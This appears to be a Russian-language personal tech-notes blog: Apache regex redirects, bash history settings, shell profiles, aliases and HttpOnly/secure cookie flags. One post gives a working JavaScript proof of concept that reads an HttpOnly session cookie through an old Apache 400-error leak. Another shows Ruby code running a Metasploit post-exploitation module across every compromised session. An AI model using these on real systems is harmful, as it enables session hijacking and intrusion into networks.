RedirectMatch /(.*)/(.*)/index.html$ http://mysite.ru/script.php?par1=&par2=

Круглые скобки () используются для выделения групп символов. В дальнейшем к ним можно обращаться по номеру.
Символ ^ обозначает начало строки.
Символ $ обозначает конец строки.
Символ . обозначает любой символ.
Символ | обозначает альтернативу. Например, выражения "A|B" означают "A или B".
Символ ? ставится после символа (группы), который может как присутствовать, так и отсутствовать.
Символ * ставится после символа (группы), который может отсутствовать или присутствовать неограниченное число раз подряд.
Символ + действует аналогично символу * с той лишь разницей, что предшествующий ему символ обязательно должен присутствовать хотя бы один раз.
Квадратные скобки [] используются для перечисления допустимых символов.
Квадратные скобки [^] используются для перечисления недоступных символов.
Символ \ ставится перед спецсимволами, если они нужны в своем первозданном виде.
Все, что расположено после символа '#', считается комментарием.

Дубликаты в истории команд bash

Я часто набираю cd .. несколько раз подряд, и когда я нажимаю клавишу «вверх», чтобы вернуться к ранее введенным командам, я не хочу, чтобы мне постоянно напоминали о моих неоптимальных передвижениях по файловой системе.

HISTCONTROL - представляет из себя список опций, разделенных двоеточиями. Они контролируют каким образом список команд сохраняется в истории.

ignorespace   не сохранять строки начинающиеся с символа <пробел>
ignoredups   не сохранять строки, совпадающие с последней выполненной командой
ignoreboth   использовать обе опции 'ignorespace' и 'ignoredups'
erasedups    удалять ВСЕ дубликаты команд с истории
export HISTCONTROL="ignoredups"


HISTIGNORE - список шаблонов через двоеточие, используемых для принятия решения о сохранении строк с командами в списке истории.
export HISTIGNORE="&:ls:[bf]g:exit"
Это позволит избавиться от дубликатов, а также от ls, bg, fg и exit, что сделает историю команд bash более читабельной.

Не сохранять команды начинающиеся с s :
export HISTIGNORE="s*"

Команды из ~/.bashrc не срабатывают при логине

Нужно добавить в ~/.bash_profile

if [ -f ~/.bashrc ]; then
    . ~/.bashrc
fi

или сделать
ln -s ~/.bashrc ~/.bash_profile
Смысл в том, что ~/.bash_profile читается при login, а ~/.bashrc при интерактивном старте оболочки. Проверить очень просто. Пишем в ~/.bash_profile строку echo 'bash_profile', а в ~/.bashrc echo 'bashrc'. Теперь логинимся и запускаем еще одну копить оболочки (т.е. запуск bash без login-а): bash_profile

Где хранятся сессии браузера Mozilla Firefox (открытые вкладки)

C:\Users\User\AppData\Roaming\Mozilla\Firefox\Profiles\9999.default\sessionstore.js

среда, 17 июля 2013 г.

Alias

Задача:
Сделать, чтобы во всех ваших оболочках были одни и те же aliases, и чтобы при добавлении нового не пришлось править пачку файлов.

Решение:
1. Выносим все alias в файл ~/.alias
2. В ~/.bashrc, ~/.zshrc и т.п. пишем: . $HOME/.alias # перед $HOME стоит точка и пробел

вторник, 16 июля 2013 г.

Флаги cookie - скажи нет XSS

Запретить чтение cookie через javascrpt

HttpOnly позволит передавать куки только в заголовках, это запретит их чтение через javascrpt
Set-Cookie: MyCookieName=The value of my cookie; path=/; HttpOnly

Кофиг для сервера:
 
<httpCookies httpOnlyCookies="true"/> 
 
 
Передача cookie через ssl (если соединение не ssl, то cookie не передаются:

Set-Cookie: MyCookieName=The value of my cookie; path=/; secure

Кофиг для сервера:
 
<httpCookies requireSSL="true" />

Сервис определения флагов cookie. https://asafaweb.com/

Exploit 1

Используем метод TRACE. Сервер ответит тем же запросом, который отправил клиент.


Exploit 2
  • Affected versions: 2.2.0 - 2.2.21
  • Risk: moderately critical (xss needed)
 
Суть эксплойта: если сайт на Apache 2.2.0 - 2.2.21 и содержимое заголовков 
HTTP-Header слишком большое, 
то сервер отвечает ошибкой с номером 400, отправляя вместе с ответом 
содержимое заголовка.
<?php
header("Set-Cookie: SESSIONID=ImAhttpOnlyCookie; path=/; httponly");
?>
<script type="text/javascript">
var today = new Date();
var expire = new Date();
expire.setTime(today.getTime() + 2000);
gotCookie=false;
padding="";
for (j=0;j<=1000;++j) {
    padding+="A";
}
for (i=0;i < 10; ++i) {
    document.cookie="z"+i+"="+padding+"; expires="+expire.toGMTString()+"; 
path=/;"
}

function handler() {
    if (!gotCookie && this.responseText.length > 1) {
 text = /(SESSIONID=[^;]*)/i.exec(this.responseText);
 alert(text[1]);
 gotCookie=true;
    }
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = handler;
xhr.open("GET", "/httponly.php");
xhr.send();
</script>

Metasploit multisession

Если мы проникли сразу на несколько машин, чтобы не писать команды в каждой из полученных сессий, мы можем воспользоваться радостями доступа к Ruby прямо из консоли MSF, запустив постмодуль сразу во всех сессиях:

msf> use post/windows/gather/enum_domain_tokens
msf enum_domain_tokens> irb
framework.sessions.each_key do |session|
run_single(«set SESSION #{session}»)
print_status(«Running #{active_module.fullname}
against #{session}»)
run_single(«run»)
sleep 1
end

Код получился тяжеловатым, но мы можем вписать его в rc-файл и при необходимости запускать с помощью следующих команд:

msf> use post/windows/gather/enum_domain_tokens
msf enum_domain_tokens> resource runall.rc

You use the POST module, drop to IRB and run those 4 lines, and bam, you win. With resource files we can automate this a bit more and have it so that we do this effortlessly with any post module.

framework.sessions.each do |session|
  run_single("set SESSION #{session.first}")
  print_status("Running #{active_module.fullname} against session #{session.first}")
  run_single("run")
  sleep 1
end

A commenter noticed an error in the coding for cross compatibility. The following should work better across versions:

framework.sessions.each_key do |session|
  run_single("set SESSION #{session}")
  print_status("Running #{active_module.fullname} against session #{session}")
  run_single("run")
  sleep 1
end